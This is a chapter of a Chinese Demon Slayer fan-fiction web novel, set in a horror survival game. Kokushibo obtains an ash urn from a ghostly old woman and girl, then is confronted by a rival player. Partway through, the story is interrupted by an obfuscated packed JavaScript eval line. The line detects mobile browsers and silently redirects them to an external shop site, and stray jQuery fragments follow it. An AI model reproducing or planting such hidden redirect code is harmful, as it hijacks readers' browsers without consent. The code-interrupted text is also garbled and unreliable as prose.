文趣网 > 其他小说 > [鬼灭]恋月癖是如何养成的 > 22. 拍拍你-5
    夜十点多,岩胜端坐在床上,修长白皙的手指一下一下梳理着乌黑柔顺的长发。因为今日的找寻工作,大家都累坏了,所以没人守夜,早早都进入了熟睡当中。

    昏暗的屋内只有均匀绵长的呼吸声此起彼伏。岩胜闭目,双手交叠放在腹部,很端正守规的姿势。直播间也不再刷评论,一片安静。

    月亮挂在繁星满天的黑夜之上,静静地挥散它的清辉。似乎一切都陷入沉睡,时间被静止,也因此,门外一阵脚步声就显得格外刺耳。

    哒——

    哒——

    哒——

    岩胜悄无声息地睁开双眼。他缓缓掀开被子,坐起身盯着门口的方向。哒哒哒的声音依旧没停,直到岩胜下床穿上鞋子,门口的声音也就停止了。

    岩胜走到门前。直播间沉寂许久的弹幕,忽然零星冒出来几条:

    【外面是谁?】

    【应该是昨晚的那个东西】

    【别开门啊……】

    岩胜沿着墙慢慢走,他的眼珠泛着一种奇异的光,在黑暗中很亮,眼神格外凉薄,带着冷血动物的阴郁,他手腕翻折,虚哭神去携着寒光直刺而出,锋刃破开,径直刺向墙面,然而墙壁并没有轰然倒塌,剑刃直接跃过阻碍,连带着人,跨越到了墙后,撕裂出细锐的鸣响,这一记突刺直接对准怪物的要害!

    一声惨叫过后,是一阵慌不择路地哒哒逃跑声响。岩胜收起虚哭神去,追了出去。而此时,屋内其余人仍旧沉浸在熟睡里,好像什么声音都没有听到。

    夜色沉凝,树影张牙舞爪映在地面,岩胜步履轻缓,他四周张望,却不见刚才逃跑的怪物,路道上不暗,家家户户都挂着高高的红灯笼。白日看来喜气洋洋的朱红灯一串串垂在屋檐下,在风中摇曳着,在夜里看有种说不上来的不适感。

    微光经过鼓胀暗沉的红布透出一种血色,像一杯盛满了血的雕觞。

    岩胜在一盏一盏高悬的红灯下看到了一对人。

    一个年轻的女孩手执一把扫炕笤帚,脸上稚气尚存,在屋门口扫着灰。在他的身侧,是岩胜先前在村口碰到的穿着寿衣的老婆婆。

    三更半夜,在屋外扫灰,旁人怎么看都怪异到了极点,在岩胜看来,这对“婆婆孙女”的出现更是极其刻意,好像是特意为了他而出现在这里一样。

    女孩垂着眉眼,一下一下摆动笤帚,沙沙的声响单调又刺耳。她扫得很认真,稚气的脸上泛起了一点劳作中出现的汗水。

    一旁的老婆婆眯着眼睛,一动不动。

    女孩似乎察觉到了他的存在,扫地的动作骤然停住。她缓缓抬起头,眼珠在头顶摇曳的红灯笼血色下,映出如出一辙的血红。

    她紧紧盯着岩胜,又偏头看了看老婆婆。老婆婆这时才缓缓动了动枯瘦的脖颈,僵硬地偏转头颅,嘴角诡异地向上勾起。她用苍老沙哑的声音说着:“小伙子,深夜不回家,是迷路了吗?不如……进我们屋歇歇?”

    “不了。”岩胜拒绝。

    “进来嘛哥哥,天太黑了,夜里危险。”女孩眨眼就跑到了他身边,低眉含笑,伸出因为干多农活而粗糙的手,半点没有商量的余地,挽住了岩胜的胳膊,将他拉进屋里。

    一进屋,岩胜敏锐嗅到空气中弥漫着一股经年累月的腥味。屋里空间不足二十平,小且黑,没有灯,通过通透视野,岩胜得以看清,一墙之隔后的一间杂物间,唯一的光源来自神龛上立着的三根蜡烛,正对着一个黑色的小罐,上贴着一张黄色的符纸。

    月生:【上任引灯人的骨灰。】

    岩胜:【发展得能有这么巧吗……】

    正好老板提起引灯人,正好半夜有鬼引他出去,正好那对婆孙半夜出现,正好是侍奉着引灯人。说背后没有推动,岩胜很难信服。

    “哥哥喝水。”女孩热情地招待他坐下,给他倒了一杯热腾腾的茶水。岩胜微微勾唇朝她礼貌一笑,道了谢,他拿起杯子一看,茶水浮着一层薄薄的燃烧殆尽后的灰,在黑暗中很不易察觉。

    岩胜唇角依旧挂着恰到好处的礼貌笑意,修长的指骨稳稳托着杯身,靠近唇部,看似要举杯饮水,在女孩转身放壶时,精准地将水全倒进花盘土壤底。女孩再转过来,岩胜已经放下了杯子,一副刚喝完的模样。

    “多谢款待。”岩胜再次道谢,“不知两位邀我进来,是有什么事吗?”

    谈话间,老婆婆推门而进。

    刚进村时,她的举止行为极其诡异,然而现下,她和普通老人没什么两样,神智清醒,说话也有条理,除了那一身的寿衣。

    “不是什么大事……”老婆婆慢吞吞地说道,“听闻你们在找土文庙?”

    岩胜:“正是。”

    “那么,那样东西,就给你们罢……”老婆婆话也不说完,急匆匆就走到杂物间,噼里啪啦地一顿响,捧着那黑色的小罐,塞进岩胜手中,就像是扔一个烫手山芋似的。

    急需的“引灯人”就那么轻而易举地找到了,岩胜愣了一下,就算经历过再多副本也没有一次任务如此简单而快速,他还在愣神的功夫,老婆婆就好像迫不及待地要将他往外推,“很晚了,孩子,你快走吧。”

    明明几分钟前还邀请岩胜进屋歇歇,骨灰盒交出去后,岩胜屁股凳都没坐热,就要赶人走了。岩胜:“那…我们从土文宅出来后就把此物还给你们。”

    老婆婆和女孩隐在门后,僵硬地笑了笑,在灯光下映衬得几近扭曲:“如果你们能活着回来的话……”

    ———

    岩胜将小罐子收回了系统空间,起初,月生是死活不愿意的,说什么也不肯让这不详的物品进入到它神圣的储物空间,可惜岩胜才是话事的主人,饶是再不愿,月生也得听话。

    于是,岩胜两手空空,一身轻松,好似半夜只是出门散了个步、上了个厕所似的就要回房间。他路经楼梯,正要走过长长的走廊。

    忽然,有人一把拉着了岩胜的手腕,拉进了一片黑暗中。岩胜嗅到了来人身上的气味来自人类,丝毫不慌,他眨了眨眼睫,澄澈的双眸微眯,看清了来人是夏黎晏。

    岩胜想挣开被捏住的手腕,坚实的虎口却紧紧箍住他的手腕,被捏紧的皮肤红了大片。

    “嘘…”夏黎晏放开了岩胜的手腕,伸出一根食指轻轻抵在唇前,另一只手捂着岩胜的口鼻,柔软的脸颊肉被虎口压得鼓起。

    他们躲起来后,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929446|213587||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一束灯光扫过了岩胜刚才站立的位置,脚步声越来越近,拿着手电筒的老板走了过来,他嘟囔道,“奇怪,刚刚明明看到有人啊?”

    他四处都拿灯光照了一圈,见真的没人,只好走了。

    听到脚步声渐远,岩胜眉尖才一皱,对夏黎晏命令道:“放手……”

    空间实在窄小有限,男人身上那股侵略性极强的男性气息以及滚热的体温从接触面迅速扩散,岩胜体温偏低,一冷一热猝然相接,烫得他有些难受。

    夏黎晏一直不松劲,岩胜慢慢地感受到威胁。雪白的齿牙有些发痒,在叫嚣着要咬破眼前人脆弱的喉管。岩胜磨了磨犬齿,眼神有些发冷,如同盯上猎物的冷血动物般盯着夏黎晏的一举一动。夏黎晏对岩胜充满敌意的眼神和姿态视而不见,掐着紧窄腰腹的大手用力,向内微微收拢,托着岩胜的身体更紧贴过来,自胸口往下,两人的躯体紧紧相依在一起。

    夏黎晏微微低头,清晰地看见岩胜的几根发丝贴着他滚烫的胸膛,黑色的发尾上有一点主人不自知的香。

    “你去哪里了?”夏黎晏轻声问。

    “你怎么知道我今晚出来了?”岩胜没有回答他,而是反问。

    “因为很多副本里突破口都是在半夜触发,一般来说玩家们半夜都会出来活动,这是铁律,我也是。”夏黎晏指了指自己,“第一夜有规则,玩家不得擅自半夜出门,今晚没限制,我就知道你绝对会跑出去,而且,已经找到了任务的突破口了。让我猜猜,你是不是找到引灯人了?”

    “不错。你果然是玩家。”岩胜点点头,“你从什么时候知道我是玩家的?”

    “一开始,见到你第一眼。”

    岩胜:“为什么?”

    他在一开始也只是猜测夏黎晏是玩家,而不是笃定。

    “我认得你的脸。”夏黎晏微微笑着,“你很出名,黑死牟。”

    “我不认识你。”岩胜在记忆里搜划了一圈,确定对夏黎晏确实毫无印象。

    “你当然不记得我。”

    夏黎晏语气竟带了些埋怨,“难道有谁能进得了你眼吗?”

    “我那么努力爬上第二名,你不还是没给我一个眼神?”

    “我真的好好奇,到底要做到什么程度,才会让你在意一个人?还是说,你心中早就有了人,才不再把别人当回事?”

    岩胜愣了一下,霎那间,他的脑海里扫过了一个人影。他心中忽然猛然泛起一阵许久未有了的恶心,让他忍不住想要干呕。

    夏黎晏敏锐地察见到岩胜的表情变化,他的脸色刷地低沉了下来,他顶多也就猜测一句,哪知竟捅到了心坎。他咬牙切齿地道:“你真的……有在意的人……”

    “关你何事。”岩胜很轻易推开了他,岩胜懒得解释。在意?只要一想起那人的脸,心中就无来由的愤怒和嫉妒,想要吐得肝肠寸断,不把血和骨肉都吐出来,就如同被地狱的业火灼烧殆尽一般痛苦。

    这般模样,这般模样……

    能算是在意吗?

    ……

    夏黎晏哑默地抽紧了喉咙。看着黑死牟清泠泠的脸上冷冷淡淡的透着毫不在意的一股劲儿,苍白的唇扯开。